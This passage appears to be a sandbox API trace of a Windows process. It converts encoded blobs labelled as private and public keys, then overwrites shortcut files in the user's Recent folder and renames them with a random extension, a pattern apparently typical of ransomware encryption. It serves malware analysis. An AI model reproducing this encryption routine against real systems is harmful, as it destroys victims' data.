lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0080.480] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0080.481] GetCurrentThreadId () returned 0xa30 [0080.481] GetCurrentThreadId () returned 0xa30 [0080.481] GetCurrentThreadId () returned 0xa30 [0080.481] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0080.482] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0080.482] GetCurrentThreadId () returned 0xa30 [0080.482] GetCurrentThreadId () returned 0xa30 [0080.482] GetCurrentThreadId () returned 0xa30 [0080.482] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\D1JRmpQ7-5.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\d1jrmpq7-5.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0080.482] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0080.482] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0080.483] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x243 [0080.483] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0080.483] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x243, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x243, lpOverlapped=0x0) returned 1 [0080.484] CloseHandle (hObject=0x124) returned 1 [0080.484] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\D1JRmpQ7-5.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\d1jrmpq7-5.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0080.486] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0x243, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0x243, lpOverlapped=0x0) returned 1 [0080.487] CloseHandle (hObject=0x124) returned 1 [0080.489] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\D1JRmpQ7-5.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\d1jrmpq7-5.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\D1JRmpQ7-5.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\d1jrmpq7-5.lnk.zv7un")) returned 1 [0080.491] GetCurrentThreadId () returned 0xa30 [0080.491] GetCurrentThreadId () returned 0xa30 [0080.491] GetCurrentThreadId () returned 0xa30 [0080.491] GetCurrentThreadId () returned 0xa30 [0080.491] GetCurrentThreadId () returned 0xa30 [0080.491] GetCurrentThreadId () returned 0xa30 [0080.491] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe03a76c0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe3427700, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe3427700, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x998, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="dePX8rTxd.lnk", cAlternateFileName="DEPX8R~1.LNK")) returned 1 [0080.491] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0080.491] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0080.491] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\dePX8rTxd.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\depx8rtxd.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe03a76c0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe3427700, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe3427700, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x998)) returned 1 [0080.491] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\dePX8rTxd.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\depx8rtxd.lnk")) returned 0x20 [0080.491] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\dePX8rTxd.lnk", dwFileAttributes=0x80) returned 1 [0080.493] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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